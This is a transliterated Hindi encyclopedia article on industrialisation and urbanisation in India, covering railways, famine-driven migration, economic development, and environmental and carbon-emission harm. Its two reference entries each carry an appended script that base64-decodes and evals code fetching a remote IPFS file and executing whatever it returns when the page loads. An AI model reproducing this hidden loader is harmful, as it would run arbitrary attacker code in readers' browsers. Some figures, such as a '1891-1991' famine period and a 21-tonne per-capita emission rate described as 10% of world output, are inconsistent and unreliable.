औद्योगीकरण नगरीकरण संबंध
audyogikaran nagarikaran sanbandh
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| vivaran | 'audyogikaran' aur 'nagarikaran' vikas prakriya ka hi ek aang hai. vastut: yah adhunikikaran ka ek aang hai, jisamean udyog-dhandhoan ka bolabala hota hai. |
| audyogikaran se hani | nivas sthan mean kami, gandi bastiyoan mean vriddhi, naitik moolyoan mean parivartan, sanyukt parivar ka vighatan; bhrashtachar, sangharsh tatha pratispardha mean vriddhi. |
| vishesh | 'vishv baiank' anusar 2020 tak bharat vishv mean aisa desh hoga, jisake hava, pani, jamin aur vanoan par audyogikaran ka sabase jyada dabav hoga, vahaan paryavaran buri tarah big d jaega aur prakritik sansadhanoan ki saansean tootane lageangi. |
| sanbandhit lekh | nagarikaran, shaharikaran aur kshetriy svaroop |
| any janakari | audyogikaran ka ek any nukasan karban gaisoan ke utsarjan ke roop mean samane aya hai. aj chin duniya mean sabase adhik karban gaisoan ka utsarjan karata hai. vahaan prati vyakti karban utsarjan ki dar 21 tan hai. |
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'audyogikaran' ek samajik tatha arthik prakriya ka nam hai. isamean manav-samooh ki samajik-arthik sthiti badal jati hai, jisamean udyog-dhandhoan ka bolabala hota hai. vastut: yah adhunikikaran ka ek aang hai. b de-paimane ki oorja-khapat, b de paimane par utpadan, dhatukarm ki adhikata adi audyogikaran ke lakshan haian. ek prakar se yah nirman karyoan ko badhava dene ke hisab se arth pranali ka b de paimane par sangathan hai.
nagariy janasankhya vriddhi ka karak
yoorop tatha sanyukt rajy amarika mean audyogik kraanti ke phalasvaroop nagaroan ki sankhya mean vriddhi huee hai. mashinoan ke avishkar ke parinamasvaroop shramik, shilpi aur karigar bekar ho ge. in berozagar shramikoan ko nagar kshetroan mean rakh liya gaya. is prakar b de paimane par utpadan, mashinoan ke prayog aur audyogik sabhyata ke vikas ke parinamasvaroop nagarikaran ka sootrapat hua. bharat mean yoorop aur sanyukt rajy amarika ki tarah nagarikaran ki kriya nahian huee. bharat mean nagarikaran ke nimnalikhit karan rahe-
reloan ka vikas
reloan ke vikas ne bharat ke vyapar kshetr mean kranti la di. bharat mean reloan ka vikas do avashyakataoan ko drishti mean rakhakar kiya gaya tha -
- pahala prashasanik avashyakataoan ki poorti ke lie.
- doosara vyaparik kendroan par vastuaian aur kachcha mal ekatrit karane ke lie.
akal
19vian shatabdi mean bharat mean p dane vale akal bhi nagariy janasankhya vriddhi ke uttaradayi rahe haian. gramin kshetroan mean rozagar n mil sakane ke karan gramin janasankhya rozagar ki talash mean nagaroan ki or chal p di. is prakar 1872-1881 aur 1891-1991 ki avadhi mean bhishan akal p dane ke karan nagaroan ki taraph janasankhya ka palayan ho gaya.
nagariy jivan ka akarshan
nagar jivan mean kuchh aise akarshan haian, jo gramin kshetroan mean dikhaee nahian p date. atah dhani zamiandaroan ne bhi 19vian aur 20vian shatabdi ke poorvarddh mean nagaroan mean basane ki pravritti ubhari.
udyogoan ka vistar
naye udyogoan ki sthapana aur purane udyogoan ka vistar hone ke karan shramashakti nagaroan mean khapane lagi.
nagaroan mean sthayi rozagar
bhoomihin shramik varg jinaka mool sanbandh krishi se tha, gram tatha nagaroan ke bich ane-jane vali shram shakti ka hi ek aang tha. is varg ke jin logoan ko nagar kshetroan mean sthaee rozagar athava apekshakrit ooanchi mazadoori mil gee, ve vahian bas ge. is prakar yah kaha ja sakata hai ki nagarikaran ke vikas mean udyogoan ka vikas any sabhi deshoan mean sarvadhik mahattvapoorn raha kintu bharat mean isaka prabhav itana sashakt nahian tha. bharat mean aise nagaroan ki sankhya bahut kam hai jinaka vikas naye udyogoan ke karan hua ho.
nagarikaran aur arthik vikas mean sanbandh
kisi bhi arthavyavastha mean arthik vikas ke nimnalikhit tin lakshan mukhy hote haian-
- prati vyakti ay mean vriddhi taki logoan ka jivan star unnat ho sake.
- nirdhanata rekha ke niche rahane vali janasankhya mean kami.
- berozagar ki dar evan akar mean kami.
aank doan ke adhar par jab kul janasankhya mean nagar janasankhya ke anupat aur prati vyakti ay mean yah sanbandh gunaank nikala jata hai to vah 0.5 ata hai. isase yah nishkarsh nikala ja sakata hai ki nagarikaran aur prati vyakti ay mean sakaratmak sanbandh hai. kiantu yahi sah sahasanbandh gunaank jab janasankhya aur dainik sthiti berozagari ke bich nikala jata hai to vah 0.18 ata hai jo yah sanket karata hai ki nagarikaran ke parinamasvaroop berozagari mean koee ullekhaniy kami nahian huee.
paryavaran par prabhav
paryavaran ki drishti se bharat ki bhayavah tasvir ka khulasa vishv baiank ki ek riport mean kiya gaya hai. usake anusar 2020 tak bharat vishv mean aisa desh hoga, jisake hava, pani, jamin aur vanoan par audyogikaran ka sabase jyada dabav hoga, vahaan paryavaran buri tarah big d jaega, prakritik sansadhanoan ki saansean tootane lageangi aur usake lie is vikas ki kimat chukana tedhi khir hogi. 'vishv svasthy sangathan' ki manean to jalavayu mean bhishan parivartan manav svasthy ke lie b da khatara banata ja raha hai. jani-mani shodh patrika 'prosidiangs aauph r aauyal sosayati' mean british v svis vaijnanikoan ne khulasa kiya hai ki bijaligharoan, phaiktriyoan aur vahanoan mean jivashm eeandhanoan ke jalane se paida hone vali grin haus gaisean global varmiang ke lie jimmedar haian.
'vishv svasthy sangathan' ke anusar jalavayu parivartan ka n keval svasthy par viparit prabhav p dega, balki pramukh khadyoan ke utpadan mean bhi kami aegi. aantararashtriy krishi anusandhan kansalatetiv grup ke anusar 2050 tak bharat mean sookhe ke karan gehooan ke utpadan mean 50 pratishat tak ki kami aegi. gehooan ki is kami se bharat ke 20 karo d log bhukhamari ki kagar par hoange. dinoan-din badhati abadi aur audyogikaran ke karan ane vale saloan mean bharat mean khady sankat ka sahaj aandaja lagaya ja sakata hai. darasal, vatavaran mean audyogik kal mean pahale ki tulana mean karban daiaauksaid ka sankedran 30 pratishat jyada hua hai. isase asahy garmi v loo badhegi aur kh di chattanoan ke girane ki ghatanaean badheangi. bahut jyada thand, bahut jyada garmi ke karan tanav ya haeepotharmiya jaisi bimariyaan hoangi aur dil tatha shvas sanbandhi bimariyoan se hone vali mautoan ki sankhya mean bhi ijapha hoga.[1]
jivoan ke lie sankatakarak
duniya bhar mean audyogikaran se paryavaran ko jo nukasan hua, usaka aandaja isi bat se lagaya ja sakata hai ki vartaman mean 30 pratishat ubhayachar praniyoan, 23 pratishat stanapayi aur 12 pratishat chi diyoan ka astitv khatare mean hai. yah aandhadhuandh badhate audyogikaran ka hi natija hai ki har sal 45 hajar varg kilomitar jangal samapt ho rahe haian. duniya ki 60 pratishat pramukh nadiyoan par baandh bana die ge haian, jisase machhaliyaan 50 pratishat tak kam ho gee haian. badhate paryavaran pradooshan se duniyabhar mean pakshiyoan ki 122 prajati ka astitv khatare mean p d gaya hai, jisamean se 28 bharat mean haian.
karban gaisoan ke utsarjan mean vriddhi
audyogikaran ka ek any nukasan karban gaisoan ke utsarjan ke roop mean samane aya. vikas ki dau d mean b di-b di phaiktriyoan, ga diyoan, esi jaisi chijoan ko to hamane khoob prathamikata di, lekin inase nikalane vale karban gaisoan ke utsarjan se paryavaran ko ho rahe nukasan ki or hamara dhyan nahian gaya. aj chin duniya mean sabase adhik karban gaisoan ka utsarjan karata hai. vahaan prati vyakti karban utsarjan ki dar 21 tan hai, jo duniya bhar mean hone vale karban utsarjan ka das pratishat hai. usake bad amarika, yooropiyan yooniyan ke deshoan aur roos ka sthan ata hai. bharat ka sthan is mamale mean paanchavaan hai aur yahaan prati vyakti karban utsarjan ki dar 1.2 tan hai, jo duniya bhar mean hone vale karban utsarjan ka keval tin pratishat hai. yahi vajah hai ki bharat apane vikas karyakramoan par paryavaran suraksha ke nam par kisi tarah ka pratibandh nahian chahata.
vahian, vikasit deshoan ke samooh duniya bhar mean hone vale karban gaisoan ke utsarjan ka 80 pratishat utsarjit karate haian, jisamean 45 pratishat sirph audyogikaran se hai. paryavaran suraksha ko darakinar kar vikasit deshoan aur phir vikasashil deshoan ne vikas ka jo m aaudal taiyar kiya hai, yah usi ka natija hai ki jagah-jagah barph ki chotiyaan pighal rahi haian, jisase badh ka khatara badh raha hai. isase khasakar, nadiyoan ke kinare rahane vale shahar adhik prabhavit hoange. akele bharat mean 7500 kilomitar samudri tatiy kshetr haian, jahaan tin hajar 85 kharab d aaular ki sanpatti hai. yah khatare mean p d sakati hai. vahaan ke logoan ke lie punarvas ki vyavastha bhi karani hogi.[2]
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tika tippani aur sandarbh
- ↑ badhata tapaman, badalata mausam, badahal duniya (hindi) samay laiv. abhigaman tithi: 31 march, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ vinash ki kimat par kaisa vikas (hindi) batoan-batoan mean. abhigaman tithi: 31 march, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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